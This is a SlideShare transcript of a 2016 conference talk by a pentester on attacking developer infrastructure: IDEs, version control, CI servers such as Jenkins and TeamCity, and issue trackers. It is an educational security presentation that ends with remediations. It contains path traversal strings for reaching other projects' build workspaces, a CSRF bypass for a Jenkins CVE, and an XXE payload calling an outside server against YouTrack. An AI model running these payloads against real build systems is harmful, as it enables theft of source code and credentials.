SlideShare a Scribd company logo
Andrey Plastunov
Simple bugs to pwn the devs
About
Pentester at Digital Security [DSEC.RU]
@DSecRU
@plastunovaa
@osakaaa
a.plastunov@dsec.ru
Development environment
Source code Issue
App
IDEs
CI
Source code
Components: Scheme
An integrated development environment (IDE) is a software application that
provides comprehensive facilities to computer programmers for software
development. An IDE normally consists of a source code editor, build
automation tools and a debugger. Most modern IDEs have intelligent code
completion. (с) Wikipedia
● Consumes user input
● Produces sources
● Builds sources
● Uses plugins for integration with other tools
● Has UI
Components: IDE
An integrated development environment (IDE) is a software application that
provides comprehensive facilities to computer programmers for software
development. An IDE normally consists of a source code editor, build
automation tools and a debugger. Most modern IDEs have intelligent code
completion. (с) Wikipedia
● Consumes user input
● Produces sources
● Builds sources
● Uses plugins for integration with other tools
● Has UI
● (Even the IDE!) Can be the target of an attack
Components: IDE
Components: IDE
An integrated development environment (IDE) is a software application that
provides comprehensive facilities to computer programmers for software
development. An IDE normally consists of a source code editor, build
automation tools and a debugger. Most modern IDEs have intelligent code
completion. (с) Wikipedia
● Consumes user input
● Produces sources
● Builds sources
● Uses plugins for integration with other tools
● Has UI
● Can be target of an attack
Jetbrains Intellij based IDEs prone to CSRF vulnerability which allows
attacker to access local file system from a malicious website
JetBrain’s advisory: https://blog.jetbrains.com/blog/2016/05/11/security-
update-for-intellij-based-ides-v2016-1-and-older-versions/
Example
A component of software configuration management, version control, also
known as revision control or source control, is the management of changes to
documents, computer programs, large web sites, and other collections of
information
● Stores source code + additional info (not always trusted)
● Uses plugins for integration with other tools
● Has UI
Components: Version control
A component of software configuration management, version control, also
known as revision control or source control, is the management of changes to
documents, computer programs, large web sites, and other collections of
information
● Stores source code + additional info (not always trusted)
● Uses plugins for integration with other tools
● Has UI
● Will be the target of attack
Components: Version control
Components: Version control
A component of software configuration management, version control, also
known as revision control or source control, is the management of changes to
documents, computer programs, large web sites, and other collections of
information
● Stores user supplied data (not always trusted)
● Uses plugins for integration with other tools
● Has UI
● Will be the target of attack
A number of CVEs and other vulns in:
● GIT itself
● GIT-based repositories (Gitlub, GitHub etc)
The same thing for less popular Mercurial and SVN
Example
Continuous integration (CI) is the practice, in software engineering, of merging
all developer working copies to a shared mainline several times a day
● Stores user supplied data (not always trusted)
● Executes (!) user supplied data
● Stores credentials and other identity data
● Has UI
Components: CI system
Continuous integration (CI) is the practice, in software engineering, of merging
all developer working copies to a shared mainline several times a day
● Stores user supplied data (not always trusted)
● Executes (!) user supplied data
● Stores credentials and other identity data
● Has UI
● The most expected to be the target of attack
Components: CI system
An issue tracking system (also ITS, trouble ticket system, support ticket,
request management or incident ticket system) is a computer software
package that manages and maintains lists of issues, as needed by an
organization.
● Stores user supplied data (not always trusted)
● Has UI
Components: Issue trackers
An issue tracking system (also ITS, trouble ticket system, support ticket,
request management or incident ticket system) is a computer software
package that manages and maintains lists of issues, as needed by an
organization.
● Stores user supplied data (not always trusted)
● Has UI
● Probably will be the target of attack
Components: Issue trackers
Components: Issue trackers
An issue tracking system (also ITS, trouble ticket system, support ticket,
request management or incident ticket system) is a computer software
package that manages and maintains lists of issues, as needed by an
organization.
● Stores user supplied data (not always trusted)
● Has UI
● Probably will be the target of attack
A number of CVEs and other vulns in various issue tracking systems
● Latest XXE vulnerability in JetBrains YouTrack as an example of
common WEB bug.
http://blog.jetbrains.com/youtrack/2016/02/important-youtrack-6-5-
17031-update/
● Much more funny example cve-2015-4499 in Bugzilla which allows
escalation of privileges via improper validation of emails
https://blog.perimeterx.com/bugzilla-cve-2015-4499/
Example
1. Directly affects Source codes of your product
2. Works with developer's identity
3. Can provide a great help for attacker during network
infiltration
Why so valuable?
1. The source code itself
Can be stolen
2. Your application’s end users
Can be infected
Goodies: Source code
● Your private (signing) key
Signing malicious code with your keys
● Evading Antiviruses
● Circumventing several security mechanisms on some OS (like
iOS)
Goodies: Developer’s identity
● Elevation of privilege
○ Domain credentials
○ Service credentials
○ SSH keys
...
● Malicious code execution -> full access to your network
Goodies: Network infiltration
Based on the previous slides, we have the following types of
goodies:
● Source code
● Developers identity
● Network-used credentials
● Code execution (e.g. backend access)
Goodies: Summary
Attack surface? Where to look
+ + + -
+ + - -
+ + +++ +
- - + -
Actually, not in scope =)
The information below based on my own experience with dev tools and
may or may not represent your own knowledge.
Also, the distribution of goodies between components based on my
understanding of how each component should work
Disclaimer
Sources Identity
Network
creds
Backend
+ + + -
+ + - -
+ + +++ +
+- - + -
Actually, not in scope =)
Attack surface? Where to look
Attack surface?
The keys to pwn the components
User Interface
● Graphical (mostly web-based) interface to control Master
● (sometimes) API’s and other such stuff
Actually, each component has it
Attack surface?
The keys to pwn the components
Plugins
● Various tools to modify base system
Such as:
○ Security plugins
○ Integration plugins
○ Reporting plugins
○ ….
With all this integration stuff, it is very likely, that a component has the
ability to use plugins
Attack surface?
The keys to pwn the components
Attack surface?
Why plugins. Demo
[Component specific] Master
● Controls the entire system:
○ Configuration
○ User accounts
○ Plugin management
● Control slaves
● Builds targets
● Temporary hosts builded apps
Attack surface?
The keys to pwn the components
[Component specific] Slaves
● Managed by master
● Build targets
● Temporary host builded apps
Attack surface?
The keys to pwn the components
Attack surface?
Attack surface!
- That’s attacker
Common weaknesses and bugs
● Vulnerable instances (often with public exploits)
● Default credentials (or their absence)
● Building tools runs under high privileged accounts (root or
system)
● No (or bad) role management
● No sandboxing (isolation)
*based on observation from various pentests
Common configuration problems*
● No isolation on build servers
○ It is possible to access sources of other projects
Just pass something like this to your build script:
../workspace/ - Jenkins Agent’s working dir
../../work/ (buildAgent/work/) - Teamcity Agent’s working dir
A Note on isolation of builds
../workspace/
../../work/ (buildAgent/work/)
● No isolation on build servers
○ It is possible to access sources of other projects
○ In case of Master, possibility to access server
configuration itself
Just pass something like this to your build script:
../workspace/ - Jenkins Agent’s working dir
../../work/ (buildAgent/work/) - Teamcity configuration dir
A Note on isolation of builds
$JENKINS_HOME/
.BuildServer/config/
Jenkins. A number of XSS vectors misusing Jenkins functionality
- Custom web server for user supplied data
- HTML content from code repos
Exploit: link
Bugs Bug͡ s B͜ ̢͝͝ u͢ ̸̕g͢ ̢͝ ̛̀s̨͘͘͟!!!
/UserContent/
/job/<ProjectName>/ws/
Jenkins universal CSRF
CVE-2015-7538
Exploit: Change Content-Type for any request to multipart/form-data
Bugs Bug͡ s B͜ ̢͝͝ u͢ ̸̕g͢ ̢͝ ̛̀s̨͘͘͟!!!
if (valid || isMultipart(httpRequest)) {
chain.doFilter(request, response);
} else {
LOGGER.log(Level.WARNING, "No valid crumb was
included in request for {0}. Returning {1}.", new
Object[] {httpRequest.getRequestURI(),
HttpServletResponse.SC_FORBIDDEN});
Notorious Java deserialization in Jenkins CLI (command line
interface) deserialization vulnerability
CVE-2015-8103
Affected library: ./webapps/ROOT/WEB-INF/lib/commons-collections-3.2.1.
jar
Details and Exploit: What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your
Application Have in Common? This Vulnerability by foxglove security
Payload generator: https://github.com/frohoff/ysoserial
Bugs Bug͡ s B͜ ̢͝͝ u͢ ̸̕g͢ ̢͝ ̛̀s̨͘͘͟!!!
Notorious Java deserialization in Jenkins Xstream parsing
CVE-2016-0792
Details and Exploit: Serialization Must Die: Act 2: XStream (Jenkins CVE-2016-0792)
by contrast security
Bugs Bug͡ s B͜ ̢͝͝ u͢ ̸̕g͢ ̢͝ ̛̀s̨͘͘͟!!!
TeamCity privilege escalation through IDOR.
CVE-2015-1313
- is accessible even if registration is turned of in
configs
Details and exploit at: https://beyondbinary.io/articles/teamcity-account-creation/
Bugs Bug͡ s B͜ ̢͝͝ u͢ ̸̕g͢ ̢͝ ̛̀s̨͘͘͟!!!
/registerUserSubmit.html
YouTrack XXE in user import function
Details: bo0om’s blog + hackerone report 114476 (sadly, both in Russian)
Exploit: Send XML payload via PUT method to URI /rest/import/users?{test}
Example payload:
Bugs Bug͡ s B͜ ̢͝͝ u͢ ̸̕g͢ ̢͝ ̛̀s̨͘͘͟!!!
<?xml version="1.0"?>
<!DOCTYPE list [
<!ENTITY % xxe SYSTEM "http://myserver/xxe-test">
%xxe;
]>
<list></list>
Exploitation
Targets
● Source code
● Developer’s identity
● Network-used credentials
● Code execution (e.g. backend access)
Exploitation
● Source code
○ Stealing the sources using lack of isolation between projects
Exploitation
● Source code
○ Stealing the sources using lack of isolation between projects
○ Source code modification (infection)
Exploitation
● Developer’s identity
○ Stealing the identity
Exploitation
● Network Infiltration
○ Gaining credentials
E.g. from local encrypted storage
For Jenkins: http://www.th3r3p0.com/vulns/jenkins/jenkinsVuln.html -
Retrieving the eccryption key via admin script console
○ Gaining backend access
Exploitation
Stealing the source codes and identity.
Demo
● Network Infiltration
○ Gaining credentials
E.g. from local encrypted storage
For Jenkins: http://www.th3r3p0.com/vulns/jenkins/jenkinsVuln.html -
Retrieving the ecryption key via admin script console
○ Gaining backend access
Exploitation
Gaining backend access via simple XSS.
Demo
● Botnets. Small but funny
Exploitation
● Botnets. Small but funny
Official Jenkins CI
Exploitation
● Botnets. Small but funny
Official TeamCity CI
Exploitation
● Botnets. Small but funny
Exploitation
Jenkins on the internet
● Botnets. Small but funny
Exploitation
Jenkins on the internetTeamcity on the internet
Remediations
Remediations. Summary
● Never rely on default settings
● Never bind to 0.0.0.0
● Never rely on safety of 3rd party components like plugins
● Update your tools as soon as a new security advisory is
published
● Perform additional validation on all user inputs (including
sources)
● Try to isolate projects (Docker?)
The END

More Related Content

PDF
[CONFidence 2016] Leszek Miś - Honey(pot) flavored hunt for cyber enemy
PROIDEA
 
PDF
[CONFidence 2016] Glenn ten Cate - OWASP-SKF Making the web secure by design,...
PROIDEA
 
PDF
Security in open source projects
Jose Manuel Ortega Candel
 
PDF
Introduction to iOS Penetration Testing
OWASP
 
ODP
Malware analysis
xabean
 
PPTX
[OWASP Poland Day] Application security - daily questions & answers
OWASP
 
PDF
IDA Vulnerabilities and Bug Bounty  by Masaaki Chida
CODE BLUE
 
PPTX
Abusing Adobe Reader’s JavaScript APIs by Abdul-Aziz Hariri & Brian Gorenc - ...
CODE BLUE
 
[CONFidence 2016] Leszek Miś - Honey(pot) flavored hunt for cyber enemy
PROIDEA
 
[CONFidence 2016] Glenn ten Cate - OWASP-SKF Making the web secure by design,...
PROIDEA
 
Security in open source projects
Jose Manuel Ortega Candel
 
Introduction to iOS Penetration Testing
OWASP
 
Malware analysis
xabean
 
[OWASP Poland Day] Application security - daily questions & answers
OWASP
 
IDA Vulnerabilities and Bug Bounty  by Masaaki Chida
CODE BLUE
 
Abusing Adobe Reader’s JavaScript APIs by Abdul-Aziz Hariri & Brian Gorenc - ...
CODE BLUE
 

What's hot (20)

PDF
BlackHat 2014 Briefings - Exploiting Fundamental Weaknesses in Botnet C&C Pan...
Aditya K Sood
 
PDF
The Hookshot: Runtime Exploitation
Prathan Phongthiproek
 
PDF
Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015
CODE BLUE
 
PDF
When the internet bleeded : RootConf 2014
Anant Shrivastava
 
PDF
ZeroNights - SmartTV
Sergey Belov
 
PDF
Buffer Overflow Attacks
securityxploded
 
PDF
My tryst with sourcecode review
Anant Shrivastava
 
PDF
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
CODE BLUE
 
PPTX
[Wroclaw #2] Web Application Security Headers
OWASP
 
PDF
Antivirus is hopeless
Sumedt Jitpukdebodin
 
PPTX
Kali net hunter
Prashanth Sivarajan
 
PDF
Learning by hacking - android application hacking tutorial
Landice Fu
 
PDF
HackInTheBox - AMS 2011 , Spying on SpyEye - What Lies Beneath ?
Aditya K Sood
 
PPTX
Basic Malware Analysis
Albert Hui
 
PDF
DBI-Assisted Android Application Reverse Engineering
Sahil Dhar
 
PDF
Abusing Glype Proxies - Attacks, Exploits and Defences
Aditya K Sood
 
PPTX
Deploying a Shadow Threat Intel Capability at Thotcon on May 6, 2016
grecsl
 
PDF
[OWASP Poland Day] A study of Electron security
OWASP
 
PDF
[OWASP Poland Day] Security knowledge framework
OWASP
 
PDF
Introduction to Frida
AbhishekJaiswal270
 
BlackHat 2014 Briefings - Exploiting Fundamental Weaknesses in Botnet C&C Pan...
Aditya K Sood
 
The Hookshot: Runtime Exploitation
Prathan Phongthiproek
 
Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015
CODE BLUE
 
When the internet bleeded : RootConf 2014
Anant Shrivastava
 
ZeroNights - SmartTV
Sergey Belov
 
Buffer Overflow Attacks
securityxploded
 
My tryst with sourcecode review
Anant Shrivastava
 
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
CODE BLUE
 
[Wroclaw #2] Web Application Security Headers
OWASP
 
Antivirus is hopeless
Sumedt Jitpukdebodin
 
Kali net hunter
Prashanth Sivarajan
 
Learning by hacking - android application hacking tutorial
Landice Fu
 
HackInTheBox - AMS 2011 , Spying on SpyEye - What Lies Beneath ?
Aditya K Sood
 
Basic Malware Analysis
Albert Hui
 
DBI-Assisted Android Application Reverse Engineering
Sahil Dhar
 
Abusing Glype Proxies - Attacks, Exploits and Defences
Aditya K Sood
 
Deploying a Shadow Threat Intel Capability at Thotcon on May 6, 2016
grecsl
 
[OWASP Poland Day] A study of Electron security
OWASP
 
[OWASP Poland Day] Security knowledge framework
OWASP
 
Introduction to Frida
AbhishekJaiswal270
 
Ad

Viewers also liked (17)

PDF
4Developers: Kacper Gunia- Embrace Events and let CRUD die
PROIDEA
 
PPTX
PLNOG 13: Adam Obszyński: Case Study – Infoblox Advanced DNS Protection
PROIDEA
 
PDF
JDD2014: Behaviour driven development, BDD, with cucumber for JAVA - Thomas S...
PROIDEA
 
PDF
PLNOG 17 - Stefan Meinders - Slow is the new Down
PROIDEA
 
PPTX
PLNOG 17 - Grzegorz Kornacki - F5 and OpenStack
PROIDEA
 
PPTX
Atmosphere 2016 - Berk Dulger - DevOps Tactical Adoption Theory
PROIDEA
 
PDF
JDD 2016 - Maciej Hryszniak - Webpack and Friends
PROIDEA
 
PDF
PLNOG 17 - Nicolai van der Smagt - Building and connecting the eBay Classifie...
PROIDEA
 
PPTX
PLNOG 17 - Michał Rosiak - Świadomy Klient to bezpieczna firma
PROIDEA
 
PDF
PLNOG 17 - Tomasz Brol - loT w chmurach
PROIDEA
 
PDF
PLNOG 17 - Emil Gągała - DMZ po nowemu - krok po kroku - jak uruchomić SDN w ...
PROIDEA
 
PPTX
DOD 2016 - Kamil Szczygieł - Patching 100 OpenStack Compute Nodes with Zero-d...
PROIDEA
 
PDF
PLNOG 17 - Piotr Jabłoński - Sieci nakładkowe w Data Center - uproszczenie, c...
PROIDEA
 
PPTX
JDD 2016 - Tomasz Lelek - Machine Learning With Apache Spark
PROIDEA
 
PDF
JDD 2016 - Grzegorz Rozniecki - Java 8 What Could Possibly Go Wrong
PROIDEA
 
PDF
JDD 2016 - Pawel Szulc - Writing Your Wwn RDD For Fun And Profit
PROIDEA
 
PDF
JDD 2016 - Jedrzej Dabrowa - Distributed System Fault Injection Testing With ...
PROIDEA
 
4Developers: Kacper Gunia- Embrace Events and let CRUD die
PROIDEA
 
PLNOG 13: Adam Obszyński: Case Study – Infoblox Advanced DNS Protection
PROIDEA
 
JDD2014: Behaviour driven development, BDD, with cucumber for JAVA - Thomas S...
PROIDEA
 
PLNOG 17 - Stefan Meinders - Slow is the new Down
PROIDEA
 
PLNOG 17 - Grzegorz Kornacki - F5 and OpenStack
PROIDEA
 
Atmosphere 2016 - Berk Dulger - DevOps Tactical Adoption Theory
PROIDEA
 
JDD 2016 - Maciej Hryszniak - Webpack and Friends
PROIDEA
 
PLNOG 17 - Nicolai van der Smagt - Building and connecting the eBay Classifie...
PROIDEA
 
PLNOG 17 - Michał Rosiak - Świadomy Klient to bezpieczna firma
PROIDEA
 
PLNOG 17 - Tomasz Brol - loT w chmurach
PROIDEA
 
PLNOG 17 - Emil Gągała - DMZ po nowemu - krok po kroku - jak uruchomić SDN w ...
PROIDEA
 
DOD 2016 - Kamil Szczygieł - Patching 100 OpenStack Compute Nodes with Zero-d...
PROIDEA
 
PLNOG 17 - Piotr Jabłoński - Sieci nakładkowe w Data Center - uproszczenie, c...
PROIDEA
 
JDD 2016 - Tomasz Lelek - Machine Learning With Apache Spark
PROIDEA
 
JDD 2016 - Grzegorz Rozniecki - Java 8 What Could Possibly Go Wrong
PROIDEA
 
JDD 2016 - Pawel Szulc - Writing Your Wwn RDD For Fun And Profit
PROIDEA
 
JDD 2016 - Jedrzej Dabrowa - Distributed System Fault Injection Testing With ...
PROIDEA
 
Ad

Similar to [CONFidence 2016] Andrey Plastunov - Simple bugs to pwn the devs (20)

PPTX
Build Time Hacking
Mohammed Tanveer
 
PPTX
Continuous Integration and development environment approach
Aleksandr Tsertkov
 
PDF
The Evolving Role of Build Engineering in Managing Open Source
DevOps.com
 
PDF
DevSecOps: What Why and How : Blackhat 2019
NotSoSecure Global Services
 
PDF
IDE and Toolset For Magento Development
Abid Malik
 
PPTX
Continuous integration
Lior Tal
 
PPTX
Introduction to Continuous integration
liortal53
 
PDF
A level-computing-9691-paper-1-notes
huzyrah
 
PPTX
Introduction.pptx
SUDHAKAR S
 
PDF
Unit 1 Kali Nethunter Android: OS, Debub Bridge
ChatanBawankar
 
ODP
Application Software
Dasun Hegoda
 
PDF
SE2_Lec 22_Software Configuration Management
Amr E. Mohamed
 
PPTX
Transforming your Security Products at the Endpoint
Ivanti
 
PDF
Unit Kali NetHunter is the official Kali Linux penetration testing platform f...
ChatanBawankar
 
PPTX
Bba i-introduction to computer-u-2- application and system software
Rai University
 
PPTX
Spug pt session2 - debuggingl
Comunidade Portuguesa de SharePoiint
 
PDF
Faults inside System Software
National Cheng Kung University
 
PDF
Continuous Security for GitOps
Weaveworks
 
PPTX
Bca i-fundamental of computer-u-2- application and system software
Rai University
 
PDF
BLUG 2012 Version Control for Notes Developers
Martin Jinoch
 
Build Time Hacking
Mohammed Tanveer
 
Continuous Integration and development environment approach
Aleksandr Tsertkov
 
The Evolving Role of Build Engineering in Managing Open Source
DevOps.com
 
DevSecOps: What Why and How : Blackhat 2019
NotSoSecure Global Services
 
IDE and Toolset For Magento Development
Abid Malik
 
Continuous integration
Lior Tal
 
Introduction to Continuous integration
liortal53
 
A level-computing-9691-paper-1-notes
huzyrah
 
Introduction.pptx
SUDHAKAR S
 
Unit 1 Kali Nethunter Android: OS, Debub Bridge
ChatanBawankar
 
Application Software
Dasun Hegoda
 
SE2_Lec 22_Software Configuration Management
Amr E. Mohamed
 
Transforming your Security Products at the Endpoint
Ivanti
 
Unit Kali NetHunter is the official Kali Linux penetration testing platform f...
ChatanBawankar
 
Bba i-introduction to computer-u-2- application and system software
Rai University
 
Spug pt session2 - debuggingl
Comunidade Portuguesa de SharePoiint
 
Faults inside System Software
National Cheng Kung University
 
Continuous Security for GitOps
Weaveworks
 
Bca i-fundamental of computer-u-2- application and system software
Rai University
 
BLUG 2012 Version Control for Notes Developers
Martin Jinoch
 

Recently uploaded (20)

PDF
CIFDAQ's Market Wrap : Bears Back in Control?
CIFDAQ
 
PPTX
What-is-the-World-Wide-Web -- Introduction
tonifi9488
 
PPTX
AI and Robotics for Human Well-being.pptx
JAYMIN SUTHAR
 
PDF
Peak of Data & AI Encore - Real-Time Insights & Scalable Editing with ArcGIS
Safe Software
 
PDF
Oracle AI Vector Search- Getting Started and what's new in 2025- AIOUG Yatra ...
Sandesh Rao
 
PDF
Research-Fundamentals-and-Topic-Development.pdf
ayesha butalia
 
PDF
NewMind AI Weekly Chronicles - July'25 - Week IV
NewMind AI
 
PDF
Trying to figure out MCP by actually building an app from scratch with open s...
Julien SIMON
 
PDF
How ETL Control Logic Keeps Your Pipelines Safe and Reliable.pdf
Stryv Solutions Pvt. Ltd.
 
PPTX
Applied-Statistics-Mastering-Data-Driven-Decisions.pptx
parmaryashparmaryash
 
PDF
Brief History of Internet - Early Days of Internet
sutharharshit158
 
PDF
Using Anchore and DefectDojo to Stand Up Your DevSecOps Function
Anchore
 
PDF
AI-Cloud-Business-Management-Platforms-The-Key-to-Efficiency-Growth.pdf
Artjoker Software Development Company
 
PPTX
Dev Dives: Automate, test, and deploy in one place—with Unified Developer Exp...
AndreeaTom
 
PDF
Orbitly Pitch Deck|A Mission-Driven Platform for Side Project Collaboration (...
zz41354899
 
PPTX
The Future of AI & Machine Learning.pptx
pritsen4700
 
PDF
Data_Analytics_vs_Data_Science_vs_BI_by_CA_Suvidha_Chaplot.pdf
CA Suvidha Chaplot
 
PDF
The Future of Artificial Intelligence (AI)
Mukul
 
PDF
GDG Cloud Munich - Intro - Luiz Carneiro - #BuildWithAI - July - Abdel.pdf
Luiz Carneiro
 
PDF
Get More from Fiori Automation - What’s New, What Works, and What’s Next.pdf
Precisely
 
CIFDAQ's Market Wrap : Bears Back in Control?
CIFDAQ
 
What-is-the-World-Wide-Web -- Introduction
tonifi9488
 
AI and Robotics for Human Well-being.pptx
JAYMIN SUTHAR
 
Peak of Data & AI Encore - Real-Time Insights & Scalable Editing with ArcGIS
Safe Software
 
Oracle AI Vector Search- Getting Started and what's new in 2025- AIOUG Yatra ...
Sandesh Rao
 
Research-Fundamentals-and-Topic-Development.pdf
ayesha butalia
 
NewMind AI Weekly Chronicles - July'25 - Week IV
NewMind AI
 
Trying to figure out MCP by actually building an app from scratch with open s...
Julien SIMON
 
How ETL Control Logic Keeps Your Pipelines Safe and Reliable.pdf
Stryv Solutions Pvt. Ltd.
 
Applied-Statistics-Mastering-Data-Driven-Decisions.pptx
parmaryashparmaryash
 
Brief History of Internet - Early Days of Internet
sutharharshit158
 
Using Anchore and DefectDojo to Stand Up Your DevSecOps Function
Anchore
 
AI-Cloud-Business-Management-Platforms-The-Key-to-Efficiency-Growth.pdf
Artjoker Software Development Company
 
Dev Dives: Automate, test, and deploy in one place—with Unified Developer Exp...
AndreeaTom
 
Orbitly Pitch Deck|A Mission-Driven Platform for Side Project Collaboration (...
zz41354899
 
The Future of AI & Machine Learning.pptx
pritsen4700
 
Data_Analytics_vs_Data_Science_vs_BI_by_CA_Suvidha_Chaplot.pdf
CA Suvidha Chaplot
 
The Future of Artificial Intelligence (AI)
Mukul
 
GDG Cloud Munich - Intro - Luiz Carneiro - #BuildWithAI - July - Abdel.pdf
Luiz Carneiro
 
Get More from Fiori Automation - What’s New, What Works, and What’s Next.pdf
Precisely
 

[CONFidence 2016] Andrey Plastunov - Simple bugs to pwn the devs

  • 2. About Pentester at Digital Security [DSEC.RU] @DSecRU @plastunovaa @osakaaa [email protected]
  • 4. Source code Issue App IDEs CI Source code Components: Scheme
  • 5. An integrated development environment (IDE) is a software application that provides comprehensive facilities to computer programmers for software development. An IDE normally consists of a source code editor, build automation tools and a debugger. Most modern IDEs have intelligent code completion. (с) Wikipedia ● Consumes user input ● Produces sources ● Builds sources ● Uses plugins for integration with other tools ● Has UI Components: IDE
  • 6. An integrated development environment (IDE) is a software application that provides comprehensive facilities to computer programmers for software development. An IDE normally consists of a source code editor, build automation tools and a debugger. Most modern IDEs have intelligent code completion. (с) Wikipedia ● Consumes user input ● Produces sources ● Builds sources ● Uses plugins for integration with other tools ● Has UI ● (Even the IDE!) Can be the target of an attack Components: IDE
  • 7. Components: IDE An integrated development environment (IDE) is a software application that provides comprehensive facilities to computer programmers for software development. An IDE normally consists of a source code editor, build automation tools and a debugger. Most modern IDEs have intelligent code completion. (с) Wikipedia ● Consumes user input ● Produces sources ● Builds sources ● Uses plugins for integration with other tools ● Has UI ● Can be target of an attack Jetbrains Intellij based IDEs prone to CSRF vulnerability which allows attacker to access local file system from a malicious website JetBrain’s advisory: https://blog.jetbrains.com/blog/2016/05/11/security- update-for-intellij-based-ides-v2016-1-and-older-versions/ Example
  • 8. A component of software configuration management, version control, also known as revision control or source control, is the management of changes to documents, computer programs, large web sites, and other collections of information ● Stores source code + additional info (not always trusted) ● Uses plugins for integration with other tools ● Has UI Components: Version control
  • 9. A component of software configuration management, version control, also known as revision control or source control, is the management of changes to documents, computer programs, large web sites, and other collections of information ● Stores source code + additional info (not always trusted) ● Uses plugins for integration with other tools ● Has UI ● Will be the target of attack Components: Version control
  • 10. Components: Version control A component of software configuration management, version control, also known as revision control or source control, is the management of changes to documents, computer programs, large web sites, and other collections of information ● Stores user supplied data (not always trusted) ● Uses plugins for integration with other tools ● Has UI ● Will be the target of attack A number of CVEs and other vulns in: ● GIT itself ● GIT-based repositories (Gitlub, GitHub etc) The same thing for less popular Mercurial and SVN Example
  • 11. Continuous integration (CI) is the practice, in software engineering, of merging all developer working copies to a shared mainline several times a day ● Stores user supplied data (not always trusted) ● Executes (!) user supplied data ● Stores credentials and other identity data ● Has UI Components: CI system
  • 12. Continuous integration (CI) is the practice, in software engineering, of merging all developer working copies to a shared mainline several times a day ● Stores user supplied data (not always trusted) ● Executes (!) user supplied data ● Stores credentials and other identity data ● Has UI ● The most expected to be the target of attack Components: CI system
  • 13. An issue tracking system (also ITS, trouble ticket system, support ticket, request management or incident ticket system) is a computer software package that manages and maintains lists of issues, as needed by an organization. ● Stores user supplied data (not always trusted) ● Has UI Components: Issue trackers
  • 14. An issue tracking system (also ITS, trouble ticket system, support ticket, request management or incident ticket system) is a computer software package that manages and maintains lists of issues, as needed by an organization. ● Stores user supplied data (not always trusted) ● Has UI ● Probably will be the target of attack Components: Issue trackers
  • 15. Components: Issue trackers An issue tracking system (also ITS, trouble ticket system, support ticket, request management or incident ticket system) is a computer software package that manages and maintains lists of issues, as needed by an organization. ● Stores user supplied data (not always trusted) ● Has UI ● Probably will be the target of attack A number of CVEs and other vulns in various issue tracking systems ● Latest XXE vulnerability in JetBrains YouTrack as an example of common WEB bug. http://blog.jetbrains.com/youtrack/2016/02/important-youtrack-6-5- 17031-update/ ● Much more funny example cve-2015-4499 in Bugzilla which allows escalation of privileges via improper validation of emails https://blog.perimeterx.com/bugzilla-cve-2015-4499/ Example
  • 16. 1. Directly affects Source codes of your product 2. Works with developer's identity 3. Can provide a great help for attacker during network infiltration Why so valuable?
  • 17. 1. The source code itself Can be stolen 2. Your application’s end users Can be infected Goodies: Source code
  • 18. ● Your private (signing) key Signing malicious code with your keys ● Evading Antiviruses ● Circumventing several security mechanisms on some OS (like iOS) Goodies: Developer’s identity
  • 19. ● Elevation of privilege ○ Domain credentials ○ Service credentials ○ SSH keys ... ● Malicious code execution -> full access to your network Goodies: Network infiltration
  • 20. Based on the previous slides, we have the following types of goodies: ● Source code ● Developers identity ● Network-used credentials ● Code execution (e.g. backend access) Goodies: Summary
  • 21. Attack surface? Where to look + + + - + + - - + + +++ + - - + - Actually, not in scope =) The information below based on my own experience with dev tools and may or may not represent your own knowledge. Also, the distribution of goodies between components based on my understanding of how each component should work Disclaimer
  • 22. Sources Identity Network creds Backend + + + - + + - - + + +++ + +- - + - Actually, not in scope =) Attack surface? Where to look
  • 23. Attack surface? The keys to pwn the components
  • 24. User Interface ● Graphical (mostly web-based) interface to control Master ● (sometimes) API’s and other such stuff Actually, each component has it Attack surface? The keys to pwn the components
  • 25. Plugins ● Various tools to modify base system Such as: ○ Security plugins ○ Integration plugins ○ Reporting plugins ○ …. With all this integration stuff, it is very likely, that a component has the ability to use plugins Attack surface? The keys to pwn the components
  • 27. [Component specific] Master ● Controls the entire system: ○ Configuration ○ User accounts ○ Plugin management ● Control slaves ● Builds targets ● Temporary hosts builded apps Attack surface? The keys to pwn the components
  • 28. [Component specific] Slaves ● Managed by master ● Build targets ● Temporary host builded apps Attack surface? The keys to pwn the components
  • 31. ● Vulnerable instances (often with public exploits) ● Default credentials (or their absence) ● Building tools runs under high privileged accounts (root or system) ● No (or bad) role management ● No sandboxing (isolation) *based on observation from various pentests Common configuration problems*
  • 32. ● No isolation on build servers ○ It is possible to access sources of other projects Just pass something like this to your build script: ../workspace/ - Jenkins Agent’s working dir ../../work/ (buildAgent/work/) - Teamcity Agent’s working dir A Note on isolation of builds ../workspace/ ../../work/ (buildAgent/work/)
  • 33. ● No isolation on build servers ○ It is possible to access sources of other projects ○ In case of Master, possibility to access server configuration itself Just pass something like this to your build script: ../workspace/ - Jenkins Agent’s working dir ../../work/ (buildAgent/work/) - Teamcity configuration dir A Note on isolation of builds $JENKINS_HOME/ .BuildServer/config/
  • 34. Jenkins. A number of XSS vectors misusing Jenkins functionality - Custom web server for user supplied data - HTML content from code repos Exploit: link Bugs Bug͡ s B͜ ̢͝͝ u͢ ̸̕g͢ ̢͝ ̛̀s̨͘͘͟!!! /UserContent/ /job/<ProjectName>/ws/
  • 35. Jenkins universal CSRF CVE-2015-7538 Exploit: Change Content-Type for any request to multipart/form-data Bugs Bug͡ s B͜ ̢͝͝ u͢ ̸̕g͢ ̢͝ ̛̀s̨͘͘͟!!! if (valid || isMultipart(httpRequest)) { chain.doFilter(request, response); } else { LOGGER.log(Level.WARNING, "No valid crumb was included in request for {0}. Returning {1}.", new Object[] {httpRequest.getRequestURI(), HttpServletResponse.SC_FORBIDDEN});
